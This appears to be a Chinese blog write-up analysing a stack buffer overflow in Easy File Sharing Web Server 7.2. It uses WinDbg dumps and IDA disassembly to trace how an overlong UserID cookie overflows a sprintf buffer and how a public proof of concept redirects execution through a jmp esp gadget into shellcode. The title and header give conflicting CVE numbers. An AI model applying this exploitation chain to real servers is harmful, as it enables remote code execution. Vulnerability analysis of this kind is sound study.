0%

Easy File Sharing Web Server 7.2 - Stack Buffer Overflow(CVE-2018-9509)

漏洞介绍
Date: 03/24/2018
Exploit Author: rebeyond - http://www.rebeyond.net
Vendor Homepage: http://www.sharing-file.com/
Software Link: http://www.sharing-file.com/efssetup.exe
Version: 7.2
CVE: CVE-2018-9059
POC:https://www.exploit-db.com/exploits/44485/
Tested on: Windows 7 home 32

从exploit-db拿来简单的栈溢出漏洞分析一下

下载完Easy File Sharing Web Server7.2后,打开发现可以正常访问http://127.0.0.1,证明web服务端可以正常启动。使用运行POC后发现服务端弹出计算器。
分析POC文件发现poc构造很简单且shellcode位于cookie中的UserID字段,在shellcode之前由大量的字符串’A’填充。从POC文件可以看出该漏洞很有可能是服务器端在处理UserID时,UserID过长而导致了缓冲区溢出,尝试修改POC使客户端crash方便分析。
将POC中的buf字符串修改为’A’*4200,在运行POC看是否会导致服务端软件crash。运行后发现服务端软件崩溃,达到了我们要的效果。
打开Easy File Sharing Web Server7.2并使用windbg附加,再次运行修改过后的POC,发现程序中断在以下位置

(fec.1048): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000001 ecx=ffffffff edx=026d62a0 esi=026d6280 edi=026d62a0
eip=61c277f6 esp=026d61fc ebp=026d6214 iopl=0 nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0  cmp dword ptr [eax+4Ch],0A029A697h ds:0023:4141418d=????????

查看栈回溯

0:008> kb
ChildEBP RetAddr  Args to Child  
WARNING: Stack unwind information not available. Following frames may be wrong.
026d6214 61c6286c 0000108e 00001068 01feef6c sqlite3!sqlite3_errcode+0x8e
026d6254 004968f4 00000001 00000000 026d6280 sqlite3!sqlite3_declare_vtab+0x3282
026d6274 004975a3 026d6298 00000000 026d75fc fsws+0x968f4
00000000 00000000 00000000 00000000 00000000 fsws+0x975a3

在sqllite3为系统dll文件出现问题可能不大,但还是看一下。用IDA看可以更加清楚。

push ebp
mov ebp, esp
push ebx
sub esp, 14h
test eax, eax
jnz short loc_61C277F1
mov ebx, 1
cmp dword ptr [eax+4Ch], 0A029A697h

可以发现触发异常的eax有上级函数传入,并未定义,因此通过IDA定位到4968f4,分析上级函数(通过栈回溯可以观察到返回地址为4968f4,位于fsws.exe)。可以看到

push ecx
mov eax, [esp+4+arg_4]
push esi
test eax, eax
mov [esp+8+var_4], 0
push 0
jz  short loc_496914
lea edx, [esp+0Ch+arg_4]
push edx
push 0FFFFFFFFh
push eax
mov eax, [ecx]
push eax
call sqlite3_prepare_v2

eax由mov eax, [esp+4+arg_4]指令赋值,可以猜测程序由于上级函数调用时eax已经被恶意构造的shellcode覆盖,通过IDA定位到004975a3,分析上级函数。

lea ecx, [esp+1028h+var_100C]
push edi
push edx
push eax
push offset aSelectFromSWhe ; "select * from %s where %s='%s'"
push ecx ; char *
call_sprintf
add esp, 14h
lea edx, [esp+1028h+var_100C]
lea eax, [esp+1028h+var_1014]
mov ecx, esi
push edx
push eax
call sub_4968D0  ; 触发漏洞
add esi, 4

可以看到触发漏洞函数调用之前先调用了敏感函数sprintf,因此我们在该函数49758A call _sprintf下断点,看看漏洞是否是由该函数造成。
调试发现49758a位置函数会调用两次,在第二次调用时观察esp

0:005> dd esp
02426270  024262a0 005a283c 02166888 02166798
02426280  01fcdefc 024275fc 0242761c 02427864
02426290  02166888 02166798 00000000 01fb2078
024262a0  0000005c 656c6573 2a207463 6f726620
024262b0  7173206d 6261746c 0020656c 00000000
024262c0  00000000 00000000 00000000 00000000
024262d0  00000000 00000000 00000000 00000000
024262e0  00000000 00000000 00000000 00000000

我们知道sprintf函数原型为
int sprintf(char buffer, const char format, [argument]…)

(1)buffer:是char类型的指针,指向写入的字符串指针;

(2)format:格式化字符串,即在程序中想要的格式;

(3)argument:可选参数,可以为任意类型的数据;

而该程序调用sprintf时传入了5个参数,第一个为将要写入的字符串指针24262a0距离栈顶30h,第二个为格式化字符串select * from %s where %s=’%s’,第三个参数sqltable,第四个参数userid,第五个参数AAAAAAAAAA…………

0:005> dc 5a283c
005a283c  656c6573 2a207463 6f726620 7325206d  select * from %s
005a284c  65687720 25206572 25273d73 00002773   where %s='%s'..
005a285c  65687720 25206572 25273d73 00002773   where %s='%s'..
005a286c  656c6573 2a207463 6f726620 7325206d  select * from %s
005a287c  6d696c20 31207469 00000000 656c6573   limit 1....sele
005a288c  2a207463 6f726620 7325206d 65687720  ct * from %s whe
005a289c  25206572 273d3c73 20277325 6564726f  re %s<='%s' orde
005a28ac  79622072 73252720 45442027 00004353  r by '%s' DESC..
0:005> dc 02166888
02166888  746c7173 656c6261 77746600 5c657261  sqltable.ftware\
02166898  79736145 6c694620 68532065 6e697261  Easy File Sharin
021668a8  65572067 65532062 72657672 6573755c  g Web Server\use
021668b8  62642e72 00000000 00000000 00000000  r.db............
021668c8  00000000 0216696c 0000000e 00000040  ....li......@...
021668d8  32393120 3836312e 322e322e 00003531   192.168.2.215..
021668e8  00000000 00000000 00000000 00000000  ................
021668f8  00000000 00000000 00000000 00000000  ................
0:005> dc 2166798
02166798  72657375 53006469 7774666f 5c657261  userid.Software\
021667a8  79736145 6c694620 68532065 6e697261  Easy File Sharin
021667b8  65572067 65532062 72657672 676f6c5c  g Web Server\log
021667c8  2e326e69 006d7468 00000000 00000000  in2.htm.........
021667d8  00000000 021666ec 00000016 00000040  .....f......@...
021667e8  746e6f43 2d746e65 676e654c 203a6874  Content-Length: 
021667f8  33333938 3a000a0d 73614520 69462079  8933...: Easy Fi
02166808  5320656c 69726168 5720676e 53206265  le Sharing Web S
0:005> dc 01fcdefc
01fcdefc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01fcdf0c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01fcdf1c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01fcdf2c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01fcdf3c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01fcdf4c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01fcdf5c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01fcdf6c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

很明显当程序将格式化的数据超长长度的字符串A(超过30H),往24262a0写入时导致栈栈溢出。

在看一下该漏洞的利用方式,使用作者提供的exploit.py进行测试,在49758A call _sprintf下断点,在第二次运行call sprint后,栈空间被shellcode覆盖,单步步过并且观察

0:005> r
eax=00000000 ebx=02577864 ecx=41414141 edx=01f72000 esi=0257761c edi=025775fc
eip=0049764d esp=025772ac ebp=0012b998 iopl=0 nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00000206
fsws+0x9764d:
0049764d c20c00  ret 0Ch
0:005> dd esp
025772ac  7ffa4512 41414141 41414141 41414141
025772bc  414136eb 41414141 41414141 41414141
025772cc  41414141 41414141 41414141 41414141
025772dc  41414141 41414141 41414141 61c73060
025772ec  00000000 01f72000 74d9dcdb bb58f424
025772fc  ec26a724 31b1c933 03185831 e8831858
0257730c  10d345d8 e91c08c8 0c946d08 45c2ad39
0257731c  08801d69 b8c4d685 cfc09a1e e1371197

当执行到49764d ret 0ch时,由于返回地址被恶意构造的7ffa4512,导致eip变为7ffa4512且该位置的机器码为ffe4即jmp esp。而此时esp为414136eb因为eb364141对应的机器码为jmp eip+36

0:005> dd esp
025772ac  7ffa4512 41414141 41414141 41414141
025772bc  414136eb 41414141 41414141 41414141
025772cc  41414141 41414141 41414141 41414141
025772dc  41414141 41414141 41414141 61c73060
025772ec  00000000 01f72000 74d9dcdb bb58f424
025772fc  ec26a724 31b1c933 03185831 e8831858
0257730c  10d345d8 e91c08c8 0c946d08 45c2ad39
0257731c  08801d69 b8c4d685 cfc09a1e e1371197
0:005> t
eax=00000000 ebx=02577864 ecx=41414141 edx=01f72000 esi=0257761c edi=025775fc
eip=7ffa4512 esp=025772bc ebp=0012b998 iopl=0 nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00000206
7ffa4512 ffe4    jmp esp {025772bc}
0:005> t
eax=00000000 ebx=02577864 ecx=41414141 edx=01f72000 esi=0257761c edi=025775fc
eip=025772bc esp=025772bc ebp=0012b998 iopl=0 nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00000206
025772bc eb36      jmp 025772f4

此时eip+36位置布置的即是执行calc.exe进程的shellcode。

0:005> t
eax=00000000 ebx=02577864 ecx=41414141 edx=01f72000 esi=0257761c edi=025775fc
eip=025772f4 esp=025772bc ebp=0012b998 iopl=0 nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00000206
025772f4 dbdc   fcmovnu st,st(4)
0:005> p
eax=00000000 ebx=02577864 ecx=41414141 edx=01f72000 esi=0257761c edi=025775fc
eip=025772f6 esp=025772bc ebp=0012b998 iopl=0 nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00000206
025772f6 d97424f4   fnstenv [esp-0Ch]  ss:0023:025772b0=41
0:005> t
eax=00000000 ebx=02577864 ecx=41414141 edx=01f72000 esi=0257761c edi=025775fc
eip=025772fa esp=025772bc ebp=0012b998 iopl=0 nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00000206
025772fa 58  pop eax

总结:该漏洞是由于程序在服务端在接受http登陆请求时,处理传入的userID时未对该字段的长度进行限制且使用了sprintf函数,导致该函数调用后栈溢出,通过覆盖返回地址远程执行代码